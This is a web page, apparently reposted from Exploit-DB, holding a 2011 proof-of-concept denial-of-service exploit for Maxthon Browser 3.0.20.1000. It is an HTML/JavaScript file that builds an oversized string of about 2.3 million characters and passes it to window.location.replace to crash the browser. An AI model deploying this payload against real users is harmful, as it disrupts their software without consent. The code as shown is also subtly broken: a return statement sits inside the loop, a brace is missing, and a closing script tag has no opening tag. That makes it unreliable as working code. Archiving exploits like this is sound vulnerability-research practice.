Maxthon Browser 3.0.20.1000 – ref / replace Denial of Service - 体验盒子

作者： Carlos Mario Penagos Hollmann

日期： 2011-01-30

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/16084/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

<html>

<head>

# Exploit Title: Maxthon Browser v3.0.20.1000 .ref .replace DOS

# Date: January 30 2011

# Author: Carlos Mario Penagos Hollmann

# Software Link: http://dl.maxthon.com/mx3/mx3.0.20.3000.exe

# Version: v3.0.20.1000

# Tested on: Windows xp sp3 ,windows 7 ,linux running on VMware Fusion 3.1 and VirtualBox 3.2.8

#mail----> shogilord^gmail.com spams are welcome!!!!!

#__________________ ____ __ _____ ________

# / ____/ / | |/ / ____/ | / / //_//_/ | / / ____/

#/ __/ / /| | / / __/ /|/ / ,< / //|/ / / __

# / /___/ /___| |/ / /___/ /|/ /| |_/ // /|/ /_/ /

#/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/

# COLOMBIA hacking presents.............

#

# MAxthon Check the .replace and .ref ;)

#

function mul(str,count){

if(count==0) return '';

var binaryCount = count.toString(2);

var numDegree = binaryCount.length;

var resultStr='';

for(var i=0; i<numDegree; i++){

resultStr+=resultStr;

if(binaryCount.charAt(i) == '1'){

resultStr+=str;

}

return resultStr;

}

var junka = "a";

var junk = mul(junka,2304453);

//window.location.href = "http://" + junk;

window.location.replace("http://" + junk);

</script>

</head>

<body>

</body>

</html>